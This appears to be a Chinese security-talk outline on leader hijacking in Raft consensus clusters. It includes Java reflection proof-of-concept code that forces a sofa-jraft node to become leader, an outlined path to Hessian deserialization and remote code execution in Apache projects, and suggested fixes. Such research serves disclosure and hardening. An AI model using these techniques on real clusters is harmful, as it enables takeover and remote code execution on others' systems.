议题标题
议题简介:
本议题深入探讨了分布式系统中 Raft 共识协议的安全缺陷。通过分析 Raft 的信任假设模型,揭示了其在面对恶意节点时的脆弱性。我们以 Apache Ignite 3 Raft 为例,详细阐述了 Leader 节点劫持的攻击方法,并结合多个 Apache 项目的实际案例,展示了从 Leader 劫持到远程代码执行的完整攻击链。本研究不仅揭示了分布式共识协议的安全隐患,也为相关项目的安全加固提供了参考。
简单介绍 Raft 协议的原理, 以及 Raft 协议的拜占庭问题 (无法防范恶意节点)
算法缺陷:
Raft 会假设所有的节点都是“诚实”的,即使出错也是简单的崩溃(Crash-fail)模型,节点要么正常工作,要么完全停止,不会出现恶意行为,网络通信可能延迟、丢包,但不会被篡改或伪造。
这到导致了该算法在默认的情况下无法控制集群机器的加入与选举流程,当恶意节点自行修改自身属性与权重时,会触发恶意leader抢占出现风险。
基于 https://github.com/sofastack/sofa-jraft 对 Raft 协议的实现, 引入攻击手法, 给出示例代码
Jraft 协议选举机制:
攻击思路:
示例代码:
// 1. 初始化恶意节点
RouteTable rt = RouteTable.getInstance();
Configuration conf = new Configuration();
PeerId evilPeerId = new PeerId("127.0.0.1:5555");
// 2. 修改 term 获取选举优势
Field termField = NodeImpl.class.getDeclaredField("currTerm");
termField.setAccessible(true);
termField.set(jraftServer.getNode(), 200031);
// 3. 强制状态转换
Field stateField = NodeImpl.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(jraftServer.getNode(), State.STATE_CANDIDATE);
// 4. 直接成为 Leader
Method becomeLeaderMethod = NodeImpl.class.getDeclaredMethod("becomeLeader");
becomeLeaderMethod.setAccessible(true);
becomeLeaderMethod.invoke(jraftServer.getNode());
// 5. 快照同步维持控制
snapshotMethod.invoke(jraftServer.getNode(), (Closure) null);
攻击效果
基于上面的攻击手法, 讲解开源项目中的几个实际漏洞案例
漏洞利用手法主要分为两个部分: 针对 Raft 集群的攻击 (抢占 Leader) + 反序列化利用 (拿到 Leader 权限之后下发 Task)
漏洞案例分析可以分为如下模块:
漏洞利用整体思路
在 JRaft 的实现中,状态机接口 StateMachine 的 onApply 方法负责处理所有节点的数据同步。当 Leader 节点下发数据时,集群中所有节点都会触发该方法进行数据处理。
在Apache 等使用jraft实现共识集群或者其他项目中,漏洞存在于 MetaStateMachine#onApply 方法中,核心问题:
而利用该漏洞就需要达成如下前置条件:
挑出一个案例详细分析
Apache eventmesh raft leader Preemption and Hessian Deserialization Vulnerability
https://www.yulate.com/post/eDeIu1qZbN/
漏洞共性总结
修复方案分析
实现节点身份认证与准入机制,更新并加固序列化组件,增加通信加密与数据校验。同时建议配置网络访问控制,合理规划部署节点以降低风险。
理论上其它语言的 Raft 也会存在这种问题? 可以结合不同语言的特性进行利用
例如 C 语言服务抢占 Leader 节点之后下发 Task, 集群内节点在处理 Task 的时候可能存在栈溢出/堆溢出/UAF?
或者项目在使用 Raft 协议处理 Task 的时候定义了不同的 Command 类型, 也许可以利用项目本身的 Command 操作进行利用
apache ratis 是否能打
https://github.com/search?q=repo%3Aapache%2Fratis+readObject&type=code